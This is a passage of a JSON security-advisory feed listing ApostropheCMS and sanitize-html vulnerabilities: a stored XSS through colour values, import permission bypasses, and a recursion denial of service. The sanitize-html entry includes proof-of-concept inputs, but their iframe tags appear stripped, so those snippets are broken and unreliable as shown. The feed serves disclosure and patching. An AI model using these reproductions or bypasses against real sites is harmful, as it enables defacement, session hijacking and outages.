addressed CSS custom property injection escaping a ``\" OR \"a separate HTML sink at X is exploitable\"]. Fixing the validation (requiring the full string to be a color, or storing only TinyColor's normalized output) would close both.\n\n### Impact\nAny user with edit permission can plant persistent JavaScript that runs in the browser of visitors and administrators viewing the affected page, enabling session hijacking and actions as an admin.\n\n### Suggested fix\nReject values unless the entire string is a valid color, e.g. normalize on save:\n```js\nconst c = new TinyColor(value);\nif (!c.isValid) throw self.apos.error('invalid');\nvalue = c.toHex8String(); // store only normalized output\n```\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.34.0","action":"GitHub lists first patched versions: apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:05:44.000Z","updatedAt":"2026-10-21T17:05:44.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-vmgj-9cwm-cf3h","asOf":"2026-10-21T17:05:44.000Z"},"epss":{"probability":0.00304,"percentile":0.22923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112951&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vmgj-9cwm-cf3h","url":"https://github.com/advisories/GHSA-vmgj-9cwm-cf3h","type":"primary","publishedAt":"2026-10-21T17:05:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-vmgj-9cwm-cf3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-vmgj-9cwm-cf3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-vmgj-9cwm-cf3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-vmgj-9cwm-cf3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-vmgj-9cwm-cf3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-vmgj-9cwm-cf3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-vmgj-9cwm-cf3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-vmgj-9cwm-cf3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-vmgj-9cwm-cf3h, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112951&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112951, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113650","cveId":"CVE-2026-113650","aliases":["GHSA-c9rx-x947-fp3h"],"kind":"vulnerability","title":"ApostropheCMS sanitize-html: unbounded recursion when re-sanitizing the fallback of a discarded iframe (stack overflow, nestingLimit not enforced)","summary":"Since 2.18.0, when an ` ` is not allowed and `disallowedTagsMode` is `'discard'` (the defaults),\nits raw-text content is re-sanitized by a recursive call to `sanitizeHtml(text, options)` (the change\nfrom #5564, fixing #5550). The recursion has no bound and starts each nested call with a fresh state.\nTwo consequences, both absent from 2.17.7 and 2.17.4:\n\n1. A few kilobytes of unclosed ` ` tags throw `RangeError: Maximum call stack size exceeded`\n with the default options. Any application that sanitizes untrusted HTML with 2.18.0 can be made to\n throw on a small crafted input.\n2. `nestingLimit` is not enforced across a discarded iframe: each nested iframe restarts the depth\n count at zero, so the output can be nested arbitrarily deep regardless of the configured limit.","detail":"### Summary\n\nSince 2.18.0, when an ` ` is not allowed and `disallowedTagsMode` is `'discard'` (the defaults),\nits raw-text content is re-sanitized by a recursive call to `sanitizeHtml(text, options)` (the change\nfrom #5564, fixing #5550). The recursion has no bound and starts each nested call with a fresh state.\nTwo consequences, both absent from 2.17.7 and 2.17.4:\n\n1. A few kilobytes of unclosed ` ` tags throw `RangeError: Maximum call stack size exceeded`\n with the default options. Any application that sanitizes untrusted HTML with 2.18.0 can be made to\n throw on a small crafted input.\n2. `nestingLimit` is not enforced across a discarded iframe: each nested iframe restarts the depth\n count at zero, so the output can be nested arbitrarily deep regardless of the configured limit.\n\n### Affected versions\n\n- 2.18.0 (the current `latest`), and the `main` branch at the time of writing (the recursive call is\n still in `packages/sanitize-html/index.js`, in the `ontext` handler, branch\n `tag === 'iframe' && !tagAllowed(tag) && options.disallowedTagsMode === 'discard'`).\n- Not affected: 2.17.7 and 2.17.4 (tested with the same inputs below).\n\nTested with Node.js v26.7.0.\n\n### Reproduction 1: stack overflow with the default options\n\n```js\nconst sanitizeHtml = require('sanitize-html');\n\n// with 2.18.0:\nsanitizeHtml(' '.repeat(1000)); // 8,000 chars: returns ''\nsanitizeHtml(' '.repeat(2000)); // 16,000 chars: throws RangeError: Maximum call stack size exceeded\nsanitizeHtml(' '.repeat(20000)); // 160,000 chars: throws RangeError: Maximum call stack size exceeded\n```\n\nResults:\n\n| input | 2.17.4 | 2.17.7 | 2.18.0 |\n|---|---|---|---|\n| `' '.repeat(1000)` | ok | ok | ok |\n| `' '.repeat(2000)` | ok | ok | RangeError |\n| `' '.repeat(20000)` | ok | ok | RangeError |\n\nThe threshold depends on the remaining stack, so it is lower when `sanitizeHtml` is called from an\nalready deep call stack (for example inside a server-side rendering pass).\n\n### Reproduction 2: `nestingLimit` is bypassed\n\n```js\nconst sanitizeHtml = require('sanitize-html');\n\nconst input = (' ' + ' '.repeat(3)).repeat(50) + 'x';\nconst out = sanitizeHtml(input, { allowedTags: ['b'], nestingLimit: 3 });\n// maximum nesting depth of in `out`:\n// 2.17.4: 2 2.17.7: 0 (fallback escaped as text) 2.18.0: 150\n```\n\nWithout an iframe, the same options cap the output at three nested ` ` in all three versions. With\n`k` repetitions of `' ' + ' '.repeat(3)`, 2.18.0 returns `3 * k` nested ` ` (measured for\nk = 1, 5, 50: depth 3, 15, 150).\n\n### Cause\n\nIn 2.18.0 the `ontext` handler does:\n\n```js\n} else if (\n tag === 'iframe' &&\n !tagAllowed(tag) &&\n options.disallowedTagsMode === 'discard'\n) {\n result += sanitizeHtml(text, options);\n}\n```\n\nBecause htmlparser2 treats ` ` as a raw-text element, the text of an unclosed iframe is the whole\nremainder of the input; re-parsing it can meet another unclosed ` `, and so on, one stack frame\n(and one full re-parse) per iframe. The nested call also starts with its own `depth`, so tags inside the\nfallback are not counted against `nestingLimit` together with the enclosing tags.\n\n### Possible directions\n\nNot a patch, only what would close both effects: bound the recursion (or process the fallback without\nrecursing), and carry the current depth into the nested sanitization so that `nestingLimit` applies to\nthe whole output.\n\nAffected package ranges reported by GitHub:\nsanitize-html: >= 2.18.0, < 2.18.1","action":"GitHub lists first patched versions: sanitize-html: 2.18.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:05:01.000Z","updatedAt":"2026-10-21T17:05:02.000Z","regions":["Global"],"vendor":null,"product":"sanitize-html","stacks":["JavaScript packages (npm)","sanitize-html","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-c9rx-x947-fp3h","asOf":"2026-10-21T17:05:02.000Z"},"epss":{"probability":0.00397,"percentile":0.3362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113650&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-c9rx-x947-fp3h","url":"https://github.com/advisories/GHSA-c9rx-x947-fp3h","type":"primary","publishedAt":"2026-10-21T17:05:01.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-c9rx-x947-fp3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-c9rx-x947-fp3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-c9rx-x947-fp3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-c9rx-x947-fp3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-c9rx-x947-fp3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-c9rx-x947-fp3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-c9rx-x947-fp3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-c9rx-x947-fp3h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-c9rx-x947-fp3h, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113650&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113650, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113649","cveId":"CVE-2026-113649","aliases":["GHSA-5m22-7pfq-vp65"],"kind":"vulnerability","title":"ApostropheCMS: Import API bypasses publication roles for protected content","summary":"Package: @apostrophecms/import-export, version 3.7.0.\n\nRelease tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).","detail":"## Review scope and evidence limits\n\nPackage: @apostrophecms/import-export, version 3.7.0.\n\nRelease tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).\n\nCurrent main reviewed: 5ce3732be0ebdebb4db0f8ef160c81e8671157e6.\n\nThe importer, gzip extractor, import permission gate, and core permission implementation have no differences between that release tag and the reviewed main. This follow-up is a static remediation review. We have not repeated the original end-to-end reproductions against the latest release or tested a deployed site. Current exploitability and impact therefore still require maintainer validation; the observations below establish that the reported security checks remain absent in public source. The original emailed PDF contains the original reproduction material. \n\n## Import API bypasses publication roles for protected content\n\nThe import gate in canImportOrExport() checks the type's import configuration and view permission. The write helpers then call document-manager insert/update directly, including operations on published variants. We did not find the normal publish permission check or beforePublish transition in these helpers. Core permissions intentionally distinguish editRole and publishRole, and the ordinary publication lifecycle enforces that distinction.\n\nThe reported security boundary is a content type that an editor may edit but whose publication is reserved for a stronger role. Direct public-state changes through import must enforce the same publication authority. The original report describes unauthorized creation, replacement, or removal of published content under that configuration.\n\nSuggested remediation: centralize authorization for import writes; require publish permission for every non-autopublished published variant, authorize each concrete target, and preflight the complete import before persistent changes. Preserve authorized draft imports and the intended behavior of autopublished types.\n\nSource references:\n- [Import write helpers](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/methods/import.js)\n- [Import permission gate](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/methods/index.js)\n- [Core role distinctions](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/apostrophe/modules/%40apostrophecms/permission/index.js)\n- [Core insert/update/publication permission hooks](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/apostrophe/modules/%40apostrophecms/doc/index.js)\n\n## Coordination\n\nVivek R / Winfunc\nOriginal reporting team: Mufeed VH / Winfunc\n\nAffected package ranges reported by GitHub:\n@apostrophecms/import-export: < 3.7.1\napostrophe: < 4.34.0","action":"GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1; apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:03:03.000Z","updatedAt":"2026-10-21T17:03:05.000Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/import-export, apostrophe","stacks":["JavaScript packages (npm)","@apostrophecms/import-export","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-5m22-7pfq-vp65","asOf":"2026-10-21T17:03:05.000Z"},"epss":{"probability":0.00298,"percentile":0.22279,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113649&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5m22-7pfq-vp65","url":"https://github.com/advisories/GHSA-5m22-7pfq-vp65","type":"primary","publishedAt":"2026-10-21T17:03:03.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-5m22-7pfq-vp65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-5m22-7pfq-vp65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-5m22-7pfq-vp65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-5m22-7pfq-vp65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-5m22-7pfq-vp65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-5m22-7pfq-vp65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-5m22-7pfq-vp65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-5m22-7pfq-vp65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-5m22-7pfq-vp65, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113649&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113649, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112956","cveId":"CVE-2026-112956","aliases":["GHSA-jf5h-36mg-rp6x"],"kind":"vulnerability","title":"ApostropheCMS: Archive duplicate continuation lets contributors overwrite published content","summary":"Package: @apostrophecms/import-export, version 3.7.0.\n\nRelease tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).","detail":"## Review scope and evidence limits\n\nPackage: @apostrophecms/import-export, version 3.7.0.\n\nRelease tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).\n\nCurrent main reviewed: 5ce3732be0ebdebb4db0f8ef160c81e8671157e6.\n\nThe importer, gzip extractor, import permission gate, and core permission implementation have no differences between that release tag and the reviewed main. This follow-up is a static remediation review. We have not repeated the original end-to-end reproductions against the latest release or tested a deployed site. Current exploitability and impact therefore still require maintainer validation; the observations below establish that the reported security checks remain absent in public source. The original emailed PDF contains the original reproduction material. Please refer to that existing private attachment.\n\n## Archive duplicate continuation permits unauthorized published-content replacement\n\nThe overrideDuplicates() continuation still accepts client-supplied replacement choices, rather than binding them to a server-maintained, user-owned duplicate analysis. The replacement and write helpers do not establish a single canonical resource identity and authorization context before the update. This leaves the reported gap between draft editing authority and the published target selected for replacement unresolved at source level.\n\nThe original report describes a contributor crossing the publication boundary through duplicate replacement on an import-enabled localized type. We have not repeated that end-to-end sequence on 3.7.0.\n\nSuggested remediation: bind continuation state to the initiating user, archive, job, permitted source/target mapping, locale and mode; reject inconsistent identity metadata; derive permissions from the actual loaded target and require publication authority for published targets.\n\nSource: overrideDuplicates(), replaceDocId(), and insertOrUpdateDoc() in the [importer](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/methods/import.js).\n\n## Coordination\n\nVivek R / Winfunc\nOriginal reporting team: Mufeed VH / Winfunc\n\nAffected package ranges reported by GitHub:\n@apostrophecms/import-export: < 3.7.1","action":"GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:59:19.000Z","updatedAt":"2026-10-21T16:59:20.000Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/import-export","stacks":["JavaScript packages (npm)","@apostrophecms/import-export","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-jf5h-36mg-rp6x","asOf":"2026-10-21T16:59:20.000Z"},"epss":{"probability":0.00339,"percentile":0.27071,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jf5h-36mg-rp6x","url":"https://github.com/advisories/GHSA-jf5h-36mg-rp6x","type":"primary","publishedAt":"2026-10-21T16:59:19.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jf5h-36mg-rp6x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-jf5h-36mg-rp6x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-jf5h-36mg-rp6x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-jf5h-36mg-rp6x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-jf5h-36mg-rp6x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-jf5h-36mg-rp6x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-jf5h-36mg-rp6x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-jf5h-36mg-rp6x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 